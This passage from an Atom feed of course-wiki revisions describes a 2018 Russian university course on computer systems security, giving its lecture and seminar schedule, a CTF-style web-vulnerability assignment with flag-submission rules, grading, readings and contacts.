# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (20.11) &lt;br /&gt;
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]&lt;br /&gt;
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]&lt;br /&gt;
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_2&amp;diff=30270</id>
		<title>Безопасность компьютерных систем 2018/Задание 2</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_2&amp;diff=30270"/>
		<updated>2018-10-22T07:51:21Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задание по теме &amp;quot;Веб-уязвимости&amp;quot; ==&lt;br /&gt;
&lt;br /&gt;
Задание будет состоять из нескольких частей.&lt;br /&gt;
&lt;br /&gt;
* [[Безопасность_компьютерных_систем_2018/Задание_2_0|Предварительное задание по SQL (бонусное)]]&lt;br /&gt;
* [[Безопасность_компьютерных_систем_2018/Задание_2_0_0|Предварительное задание по XSS (бонусное)]]&lt;br /&gt;
&lt;br /&gt;
=== Основные задания===&lt;br /&gt;
&lt;br /&gt;
* [[Безопасность_компьютерных_систем_2018/Задание_2_1|Первая часть — задания по XSS и SQL injection]]&lt;br /&gt;
* [[Безопасность_компьютерных_систем_2018/Задание_2_2|Вторая часть — задания по XXE]]&lt;br /&gt;
* [[Безопасность_компьютерных_систем_2018/Задание_2_3|Третья (бонусная, необязательная) часть — задания на File Upload]]&lt;br /&gt;
&lt;br /&gt;
==== Формат заданий ====&lt;br /&gt;
&lt;br /&gt;
Задания по теме &amp;quot;Веб-уязвимости&amp;quot; выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main__&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Баллы ====&lt;br /&gt;
&lt;br /&gt;
Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать 2 балла.&lt;br /&gt;
Бонусная часть (file upload) суммарно даёт 1 балл. &lt;br /&gt;
&lt;br /&gt;
==== Дедлаин ====&lt;br /&gt;
&lt;br /&gt;
Крайний срок выполнения заданий по теме &amp;quot;Веб-уязвимости&amp;quot; назначен на &#039;&#039;&#039;30 октября, 23.30&#039;&#039;&#039;.&lt;br /&gt;
Крайний срок выполнения бонусной части (про File Upload) - &#039;&#039;&#039;06 ноября, 23.30&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
==== Сдача флагов ====&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.hse.seclab.cs.msu.ru/ принимающую систему]. При сдаче флага вам надо указывать свое настоящее имя и фамилию, чтобы мы потом знали кому зачесть набранные баллы. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
==== Поломка заданий ====&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне, моя почта asterite@seclab.cs.msu.su, телеграм @asterite3&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=29467</id>
		<title>Безопасность компьютерных систем 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=29467"/>
		<updated>2018-09-26T10:47:06Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (02.10) [Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. XXE и SSRF.]&lt;br /&gt;
# (09.10) [Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (16.10) [Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (30.10) [Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (06.11) [Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.] &lt;br /&gt;
# (13.11) [Механизмы безопасности приложений в операционных системах.] &lt;br /&gt;
# (20.11) [Криптография. Введение и история]&lt;br /&gt;
# (27.11) [Криптография. Симметричные шифры и атаки на них.]&lt;br /&gt;
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]&lt;br /&gt;
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]&lt;br /&gt;
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]&lt;br /&gt;
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (09.10) [[Безопасность_компьютерных_систем_2018/XXE|Веб-уязвимости. XXE, прочее интересное.]]&lt;br /&gt;
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (20.11) &lt;br /&gt;
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]&lt;br /&gt;
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]&lt;br /&gt;
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
</feed>